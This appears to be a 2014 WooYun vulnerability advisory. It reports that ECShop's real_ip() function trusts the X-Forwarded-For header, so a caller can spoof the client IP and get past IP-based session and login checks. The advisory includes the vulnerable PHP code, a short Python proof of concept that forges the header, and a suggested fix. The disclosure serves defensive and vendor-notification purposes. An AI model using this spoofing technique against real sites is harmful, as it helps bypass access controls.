当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-049068

漏洞标题：ecshop可绕过ip安全校验

相关厂商：ShopEx

漏洞作者： ksc

提交时间：2014-01-20 14:31

修复时间：2014-04-17 14:32

公开时间：2014-04-17 14:32

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-20： 细节已通知厂商并且等待厂商处理中
2014-01-25： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-03-21： 细节向核心白帽子及相关领域专家公开
2014-03-31： 细节向普通白帽子公开
2014-04-10： 细节向实习白帽子公开
2014-04-17： 细节向公众公开

简要描述：

伪造ip，绕过与ip相关的任何限制

详细说明：

/**
 * 获得用户的真实IP地址
 *
 * @access  public
 * @return  string
 */
function real_ip()
{
    static $realip = NULL;
    if ($realip !== NULL)
    {
        return $realip;
    }
    if (isset($_SERVER))
    {
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            /* 取X-Forwarded-For中第一个非unknown的有效IP字符串 */
            foreach ($arr AS $ip)
            {
                $ip = trim($ip);
                if ($ip != 'unknown')
                {
                    $realip = $ip;
                    break;
                }
            }
        }
        elseif (isset($_SERVER['HTTP_CLIENT_IP']))
        {
            $realip = $_SERVER['HTTP_CLIENT_IP'];
        }
        else
        {
            if (isset($_SERVER['REMOTE_ADDR']))
            {
                $realip = $_SERVER['REMOTE_ADDR'];
            }
            else
            {
                $realip = '0.0.0.0';
            }
        }
    }
    else
    {
        if (getenv('HTTP_X_FORWARDED_FOR'))
        {
            $realip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_CLIENT_IP'))
        {
            $realip = getenv('HTTP_CLIENT_IP');
        }
        else
        {
            $realip = getenv('REMOTE_ADDR');
        }
    }
    preg_match("/[\d\.]{7,15}/", $realip, $onlineip);
    $realip = !empty($onlineip[0]) ? $onlineip[0] : '0.0.0.0';
    return $realip;
}


问题出在上面这个函数上
ip地址优先使用HTTP_X_FORWARDED_FOR 而这个是不可以信的
可以是用程序修改http头部伪造
而ecshop很多地方与安全相关的认证都建立在real_ip()这个函数可靠的基础之上
比如cls_session.php的ip校验
后台管理员ip登录记录 等等

漏洞证明：

python代码伪造X-Forwarded-For

import sys
import httplib
ip = "127.0.0.1 ,10.0.0.1" 
headers = { 
    "X-Forwarded-For":ip
    } 
con = httplib.HTTPConnection("www.test.com",timeout=10)
try: 
    con.request("GET", "/iptest.php",'', headers)
except Exception, e: 
    print e 
    sys.exit(1) 
print con.getresponse().read()


新建iptest.php放到根目录

<?php
define('IN_ECS', true);
require(dirname(__FILE__) . '/includes/init.php');
echo real_ip()

修复方案：

关键的代码不使用HTTP_X_FORWARDED_FOR中的信息

版权声明：转载请注明来源 ksc@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-04-17 14:32

厂商回复：

最新状态：

暂无